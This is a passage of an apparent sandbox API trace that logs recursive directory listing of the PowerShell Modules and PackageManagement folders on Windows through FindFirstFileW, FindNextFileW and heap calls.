lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0242.591] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0242.591] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0242.591] GetProcessHeap () returned 0xc10000 [0242.591] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0242.593] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0242.593] GetProcessHeap () returned 0xc10000 [0242.593] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0242.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0242.594] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.595] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0242.595] GetProcessHeap () returned 0xc10000 [0242.595] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0242.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0242.596] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.596] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0242.596] GetProcessHeap () returned 0xc10000 [0242.597] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0242.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0242.597] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.597] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0242.597] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0242.598] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0242.598] GetProcessHeap () returned 0xc10000 [0242.598] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0242.598] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0242.598] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0242.598] GetProcessHeap () returned 0xc10000 [0242.598] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0242.599] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0242.599] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0242.599] GetProcessHeap () returned 0xc10000 [0242.599] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0242.737] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0242.737] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0242.767] GetProcessHeap () returned 0xc10000 [0242.767] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0242.768] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0242.768] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0242.768] GetProcessHeap () returned 0xc10000 [0242.768] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0242.769] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0242.769] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0242.769] GetProcessHeap () returned 0xc10000 [0242.769] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0242.771] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test", cAlternateFileName="")) returned 0 [0242.771] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0242.771] GetProcessHeap () returned 0xc10000 [0242.771] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0242.771] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0242.771] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0242.772] GetProcessHeap () returned 0xc10000 [0242.772] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0242.772] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0242.772] GetProcessHeap () returned 0xc10000 [0242.772] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0242.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0242.949] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.949] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0242.949] GetProcessHeap () returned 0xc10000 [0242.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0242.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0242.952] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.952] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0242.952] GetProcessHeap () returned 0xc10000 [0242.952] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0242.956] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.956] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0242.956] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0242.956] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0242.956] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1 [0242.957] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0 [0242.957] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0242.958] GetProcessHeap () returned 0xc10000 [0242.958] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0242.958] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0242.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, 